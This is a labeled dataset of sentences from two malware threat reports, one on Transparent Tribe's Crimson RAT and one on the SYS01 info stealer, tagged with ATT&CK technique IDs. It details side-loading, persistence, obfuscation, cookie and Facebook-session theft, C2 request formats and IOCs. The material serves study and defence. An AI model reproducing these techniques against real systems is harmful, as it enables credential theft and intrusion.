{"sentence": "Some macros insert text in the document, which is typically education-themed content relating to India.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Macro implementation Macro-inserted document text", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "In addition to macros, we observed that Transparent Tribe have adopted OLE embedding as a technique to stage Crimson RAT.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Malicious documents that implement this technique require users to double-click a document element.", "labels": ["T1204.002"], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The documents distributed by Transparent Tribe typically display an image (a “View Document” graphic) indicating that the document content is locked.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "This lures users to double-click the graphic to view the content, which activates an OLE package that stores and executes Crimson RAT masquerading as an update process (MicrosoftUpdate.exe).", "labels": ["T1204.002"], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The “View Document” graphic OLE stream that stores Crimson RAT Transparent Tribe is known to experiment with different malware staging techniques, which include distributing executables with embedded documents or documents that execute designated Crimson RAT loaders.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The adoption of OLE embedding further highlights the group’s continuous experimentation with malware staging techniques.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Crimson RAT Implementations We observed a variety of Crimson RAT .NET implementations, with compilation timestamps between July and September 2022.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The Crimson RAT payloads we analyzed use the richa-sharma.ddns[.]net domain for C2 purposes and support either 40 or 65 commands, most of which have been documented in previous research.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Features of Crimson RAT include exfiltrating system information, capturing screenshots, starting and stopping processes, and enumerating files and drives.", "labels": ["T1005", "T1083", "T1113"], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "A Crimson RAT command dispatch routine Some Crimson RAT variants are stripped of debug information, whereas others have PDB paths that contain a date stamp, the word Richa, which relates to the configured C2 domain, and the word Wibemax.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Portions of these PDB paths overlap those of Crimson RAT payloads observed in a previous Transparent Tribe campaign, such as D:\\Projects\\Wibemax\\WinP\\WinP\\obj\\Debug\\WinP.pdb and D:\\Projects\\Wibemax\\Windows RAT\\1 Windows 10 Client\\Win8P-Sunny\\2022-04-15-Win8P Sunny\\obj\\Debug\\FUJIKBattery.pdb.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Crimson RAT PDB paths We observed different Crimson RAT version identifiers: R.S.8.8., R.S.8.9, R.S.8.1, and R.S.8.6.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "We speculate that the R.S. components of the identifiers may relate to the configured C2 domain (richa-sharma.ddns[.]net) and the numerical components may specify a version (build) number.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "This aligns with a documented Crimson RAT variant with the identifier S.L.2.2., which has used the sunnyleone.hopto[.]org domain for C2 purposes.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "As an anti-analysis measure, Crimson RAT variants delay their execution for a given time period, for example, 61, 180, or 241 seconds.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Most of the Crimson RAT variants we analyzed evaluate whether they execute at a machine named G551JW or DESKTOP-B83U7C5 and establish persistence by creating a registry key under \\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run only if the victim’s machine name differs.", "labels": ["T1547.001"], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "G551JW or DESKTOP-B83U7C5 may be the names of the machines where Crimson RAT developers have been running test executions.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Crimson RAT variants implement different obfuscation techniques of varying intensities, for example, simple function name malformation and dynamic string resolution.", "labels": ["T1027"], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "We observed the use of the Eazfuscator obfuscator in a Crimson RAT sample named NewOrleans.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Evidence suggests that the Crimson RAT developers have patched the routine that evaluates the trial period of Eazfuscator to enable the execution of the malware after the trial period expires.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Eazfuscator trial period evaluation in NewOrleans Eazfuscator trial expiry message With previous variants of Crimson RAT obfuscated using Crypto Obfuscator, the addition of Eazfuscator to the obfuscation techniques used by Transparent Tribe highlights the continuous maintenance and development of the RAT.", "labels": ["T1027"], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Conclusion Transparent Tribe is a highly motivated and persistent threat actor that regularly updates its malware arsenal, operational playbook, and targets.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Our analysis further demonstrates this characteristic of the group by spotlighting the adoption of OLE embedding as a technique for staging malware from lure documents and the Eazfuscator obfuscator to protect Crimson RAT implementations.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Transparent Tribe’s constantly changing operational and targeting strategies require constant vigilance to mitigate the threat posed by the group.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Indicators of Compromise SHA1 Description 738d31ceca78ffd053403d3b2bc15847682899a0 Malicious document 9ed39c6a3faab057e6c962f0b2aaab07728c5555 Malicious document af6608755e2708335dc80961a9e634f870aecf3c Malicious document e000596ad65b2427d7af3313e5748c2e7f37fba7 Malicious document fd46411b315beb36926877e4b021721fcd111d7a Malicious document 516db7998e3bf46858352697c1f103ef456f2e8e Crimson RAT 842f55579db786e46b20f7a7053861170e1c0c5e Crimson RAT 87e0ea08713a746d53bef7fb04632bfcd6717fa9 Crimson RAT 911226d78918b303df5110704a8c8bb599bcd403 Crimson RAT 973cb3afc7eb47801ff5d2487d2734ada6b4056f Crimson RAT Domain Description richa-sharma.ddns[.]net C2 server cloud-drive[.]store Malware hosting location drive-phone[.]online Malware hosting location s1.fileditch[.]ch Malware hosting location", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Starting in November 2022, Morphisec has been tracking an advanced info stealer we have named “SYS01 stealer.”", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "SYS01 stealer uses similar lures and loading techniques to another information stealer recently dubbed S1deload by the Bitdefender group, but the actual payload (stealer) is different.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "We have seen SYS01 stealer attacking critical government infrastructure employees, manufacturing companies, and other industries.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The threat actors behind the campaign are targeting Facebook business accounts by using Google ads and fake Facebook profiles that promote things like games, adult content, and cracked software, etc. to lure victims into downloading a malicious file.", "labels": ["T1204.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The attack is designed to steal sensitive information, including login data, cookies, and Facebook ad and business account information.", "labels": ["T1005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The campaign was first seen in May 2022 and was initially attributed to the Ducktail operation by Zscaler.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "(This attribution was later discovered to be incorrect.)", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "In this blog we explore the various methods used to distribute SYS01 stealer.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "We show how the attacker advances the delivery chain and includes Rust, Python, PHP, and PHP advanced encoders to successfully evade security vendors over the past five months.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The Infection Chain The attack begins by luring a victim to click on a URL from a fake Facebook profile or advertisement to download a ZIP file that pretends to have an application, game, movie, etc.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The infection chain is divided into two parts: the loader, and the Inno-Setup installer that drops the final payload.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The loader is usually a legitimate C# application susceptible to a side-loading vulnerability that comes with a hidden malicious dynamic link library (DLL) file that’s eventually side-loaded to the application.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "This legitimate application drops the Inno-Setup installer that decompresses to a whole PHP application containing malicious scripts.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The PHP scripts are responsible for stealing and exfiltrating information.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The scripts are encoded using different techniques, which makes their analysis and detection harder.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Infection chain The Loader We’ve seen the payload delivered in diverse ways including DLL side-loading, Rust and Python executables, and many others.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "All methods eventually drop an Inno-Setup installer which, at the next stage, drops and executes the PHP information stealer.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "In the next sections we elaborate on various delivery techniques and luring themes the attackers use.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Note: these delivery methods are representative samples.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "There are many other variations of these methods with minor modifications.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "DLL Side-Loading V1", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "In this method, the victim downloads a zipped folder with different luring themes such as world cup live streaming, free applications, and more that abuse legitimate applications vulnerable to DLL side-loading attack.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The zipped folder usually holds the following file patterns: Executable.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "A benign, legitimate executable abused to side-load the malicious DLL", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "[A-Z]Data.dat (hidden).", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "A ZIP or self extracting archive (SFX) containing legitimate HTML webpages used as a decoy [A-Z]License (hidden).", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The Inno-Setup installer to be executed (base64 encoded with some string modifications) DLL (hidden).", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The malicious side loaded DLL Western Digital's WDSyncService.exe executable abused to side-load a malicious DLL", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The malicious DLL has two main goals: displaying the decoy to the victim and executing the Inno-Setup installer.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "It does this by creating a thread that checks whether the License file exists.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "If it doesn’t, it downloads the file from its command and control (C2) server, then decodes and executes it.", "labels": ["T1105", "T1140"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "In the main thread the SFX/ZIP file is executed/decompressed, and the victim is shown the decoy HTML files.", "labels": ["T1140"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Decoy dropped to the folder In some samples we noticed cases where the .dat and License files are not included in the zipped folder.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Instead, they’re downloaded from the C2 using the following pattern: https://<domain>/files/dld?t=wcup.", "labels": ["T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Downloads the License file https://<domain>/files/dlz?t=wcup.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Downloads the .dat file as a ZIP dld Download the License (base64 encoded with string replacements)", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "dlz Download .zip", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "(.dat file with the decoys)", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "t Is the theme used as a decoy Side loaded malicious DLL", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "As mentioned, the License file is the next stage Inno-Setup installer that drops the PHP information stealer.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "DLL Side-Loading V2", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "In this method, the victim downloads a ZIP folder that purportedly contains an application or movie etc.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Garmin’s ElevatedInstaller.exe executable abused to side-load malicious DLL", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The above image shows an example of Garmin’s ElevatedInstaller.exe being abused to side-load the malicious DLL.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Once the executable starts running, it side-loads the malicious DLL that decodes and drops three files to the %temp% folder:", "labels": ["T1140", "T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "vcruntime140.dll Dependency rhc.exe (hidec)", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Executable that accepts an executable as an argument and executes it with hidden console <", "labels": ["T1059.003"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "[A-Z0-9]{15}>.exe Rust executable compiled with Cargo Next, it creates a scheduled task that runs the Rust executable by passing it as an argument to rhc.exe.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Before exiting, it pops up a message box informing the victim that the execution didn’t succeed.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Dropping a Rust executable and popping a fake message box The Rust executable then downloads the next stage—an Inno-Setup installer that deploys the PHP information stealer from <domain_name>/files?t=<theme_name>&tp=d. We’ve also spotted similar delivery methods that dropped Python executables compiled with Nuitka instead of Rust to drop the next stage Inno-Setup.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "DLL Side-Loading V3 Similar to the other delivery methods, in this scenario a victim downloads what seems to be a game, movie, nude album, etc. FUD ZIP file with malicious DLL All the executables named as image files are in fact the same benign executable—WDSyncService.exe that is abused to side-load a malicious DLL named WDSync.dll. Zipped folder with the same executable file: WDSyncService.exe that side-loads WDSync.dll The WDSyncService.exe file is signed by Western Digital and acts as Western Digital’s sync service, which is written in C#.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Additionally, this executable uses several shared libraries, including WDSync.dll which is hidden in the ZIP file and obfuscated with SmartAssembly.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The rest of the DLLs WDSyncService.exe uses are compressed and encrypted within WDSync.dll using the embedding dependencies feature by SmartAssembly.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "WDSync.dll embeds legitimate DLLs using the SmartAssembly feature Once a victim has executed one of the executables from the ZIP folder, a fake message box pops up and alerts the user to install a “framework” to open the file.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Fake message box Meanwhile, a thread with malicious logic is executing.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "It starts with de-obfuscating the next stage (string replacements + base64 decoding) and writing it to a %tmp% folder under the hardcoded name TS.exe and executing it with “t” as an argument.", "labels": ["T1140"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Once the execution completes, the file is deleted to leave no evidence on the machine.", "labels": ["T1070.004"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Drops ”TS.exe” and executes it with t as an argument The dropped executable (TS.exe) can be executed with one of the following options: t, d t|d options that the executable accepts Option t copies the executable to %appdata%\\Packages\\TS.exe and registers a new scheduled task to trigger every day and repeat every hour with option “d” as an argument.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Creates a scheduled task to be executed with d as an argument Option d checks if the file %localappdata%\\m.txt exists.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "If it does, the program exits because it means the info stealer is already running on the machine.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "If the file does not exist, the executable decodes and drops the next stage Inno-Setup executable to %temp%\\\\<[A-Z]{15}.exe> and executes it with /VERYSILENT /SUPPRESSMSGBOXES /NORESTART as arguments.", "labels": ["T1140"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "As before, when the execution finishes the file is deleted to remove evidence from the machine.", "labels": ["T1070.004"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Drops next stage Inno-Setup executable Inno-Setup to PHP Information Stealer Once the Inno-Setup installer executes, it drops a PHP application with additional files, usually to %localappdata\\[A-Z]{4}\\<version_number>.", "labels": ["T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Between different variants of this information stealer, we saw the following files used to execute the malicious logic: include.php Responsible for installing persistence via scheduled tasks index.php Executes the main logic of the stealing act version.php (embedded in index.php if it does not exist)", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Holds the stealer version rhc.exe", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Hides the console window of started programs (hidec) rss.txt (other variants have a different name)", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Base64 encoded string with several string replacements.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Once decoded, this executable, written in Rust and compiled with Cargo, gets the current date and time, and decrypts Chromium-based browsers’ encryption key In older variants the PHP scripts were not obfuscated in any manner.", "labels": ["T1140"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "In newer variants we noticed commercial encoders ionCube and Zephir, which are self-written extensions that obfuscate the PHP scripts.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "After dropping the folder, the Inno-Setup executable executes php.exe include.php, or passes this command line as an argument to rhc.exe. include.php registers two scheduled tasks: rhc.exe php.exe include.php rhc.exe php.exe index.php rhc.exe php.exe index.php", "labels": ["T1053.005", "T1059.003"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The first task is triggered at log-on.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The second task is triggered every two minutes.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The attacker must know the time to set it in the scheduled task.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "It does this by decoding the rss.txt into an executable, adding a uniquid at the end of the executable, and dropping it to %temp%\\tmp\\<uniqid>.exe.", "labels": ["T1140"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "If for some reason the operation fails, this script gets the current date and time running: “wmic os get LocalDateTime /value”.", "labels": ["T1047", "T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "createTS—creates scheduled task.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "createLG—creates scheduled task at logon index.php is the script where the stealing logic takes place.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "It starts by setting a configuration array with the following information: version—Stealer version b—Bot name (SYS01 is the bot name we’ve seen in all the variants we covered, which is why we named the php stealer SYS01) tmpData—Path for saving temporarily used files url_endpoint—A list of C2 domains Configuration array During each execution, the script shuffles and randomly defines one of the domains to be used as the C2 in the entire script.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Next, the script creates a machine ID associated with the victim and saves it to %localappdata%\\packages\\m.txt for future executions.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The machine ID is constructed by the following: uniqid() + _ + rand(111111, 999999).", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Later, it will call the getTask function that constructs the following URL url= URL_ENDPOINT .", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "a=http&dev=1&v={$config[\"version\"]}&machine_id={$macID}&from={$config['b']}&tag={$tag}&uname={$uname}&mt={$time}&f=\" .", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "FORCE_TASK; and issues a GET request to the C2 with information identifying the victim.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The response is a Json object with zero or more tasks in it.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "C2 response with tasks The main script routine goes over each task and acts accordingly.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "As seen in the main function there are five task types: get_ck_all, dlAR, upload, r, dl", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": ". index.php main routine get_ck_all Gets all cookies.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Iterating over based_ch, which consists of a list of Chromium-based browser names.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "It tries to extract the cookies and login data for each browser name, and after extracting this information checks if the flag sendD (send data) is set to true.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "If so, it posts the stolen information to its C2.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The attacker additionally checks whether the user has a Facebook account logged in or not.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "It does this by checking if the cookie hostname contains facebook.com and collects the session specific cookies xs and c_user that store the user ID and session secret respectively.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Extracting Facebook’s session cookies – xs and c_user If the victim has a logged in Facebook account (checked with xs name in Facebook’s cookie), and the rs_flag (resource flag) is set to true, the attacker will query Facebook’s graph API using the access token, obtained via Facebook’s graphql API, to steal the victim’s Facebook information and send it back to the C2.", "labels": ["T1041"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The stolen information is that set as fields in the URL parameter: C2 response—Facebook's graph API used to access sensitive information Extract victim’s sensitive Facebook data using the graph API and send the results to a C2 server dlAR Download and run.", "labels": ["T1041", "T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Downloads a file from the given URL and executes it with the given arguments.", "labels": ["T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "dlAR task At the time of writing, in the given task the downloaded file was an Inno-Setup executable that dropped a legitimate WD Discovery app to side-load", "labels": ["T1105", "T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "the malicious WDLocal.dll. Western’s Digital WDDdiscovery.exe side-loads malicious WDLocal.dll The side-loaded DLL issues a GET request to one of its hardcoded URLs with parameters stating the old machine ID, new machine ID, and the current version of the information stealer.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The response is a Json object that holds the new version number, URL to download the new version, command to be executed, and arguments.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The response is parsed, and the new stealer is downloaded and executed.", "labels": ["T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Next, it creates a scheduled task that executes the updated routine, which triggers at log-on and every 30 minutes.", "labels": ["T1053.005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Information Stealer update routine upload Asks for a file to be uploaded to the C2, checks whether the file exists, and uploads it.", "labels": ["T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Upload file function r Gets a command to run, executes it, and posts the result back to the C2.", "labels": ["T1059.003", "T1105"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Gets command from C2 and executes it dl Sends a get request with the parameter “a=update” to the C2 and does the same as the dlAR task.", "labels": ["T1059.003"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "How do You Combat SYS01 stealer? DLL side-loading is a highly effective technique for tricking Windows systems into loading malicious code.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Dynamic link libraries enable more efficient memory use and system modularity, but because Microsoft doesn’t enforce search order for DLLs by default, it makes applications vulnerable to exploitation.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Microsoft doesn’t enforce search order for a range of reasons, such as enabling things like portability and backwards compatibility—for example, portable browser applications that use older Microsoft libraries.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Security-minded developers may enforce search order within their code.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "But most developers aren't security minded.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "This enables threat actors to position a malicious payload alongside a legitimate application.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Then when an application loads in memory and search order is not enforced, the application loads the malicious file instead of the legitimate one, allowing threat actors to hijack legitimate, trusted, and even signed applications to load and execute malicious payloads.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Adversaries use side-loading attacks for execution, persistence, privilege escalation, and defense evasion.", "labels": ["T1574.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Microsoft has started to enforce default search order on many of their applications, even if not universally.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "But attackers can still misuse highly popular Microsoft applications that were created in previous years that are legitimately signed.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "And they will be able to do so for many years to come.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Basic steps to help prevent SYS01 stealer include implementing a zero-trust policy and limiting users’ rights to download and install programs.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "And SYS01 stealer at heart relies on a social engineering campaign, so it’s important to train users about the tricks adversaries use", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "so they know how to spot them.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Read Your Guide to Top Info Stealers of 2022 But humans are fallible, and limiting device functionality is not always possible when you need to ensure effective business functions.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "This is why the best protection is all-of-the-above plus a Defense-in-Depth approach.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "Security tools like next generation anti-virus (NGAV), endpoint protection platforms (EPP), and endpoint detection and response (EDR, XDR, and MDR) are necessary, but not sufficient to stop stealers like SYS01 stealer.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "This is because detection-based tools don’t always flag benign executables used to side-load payloads during delivery and/or execution.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
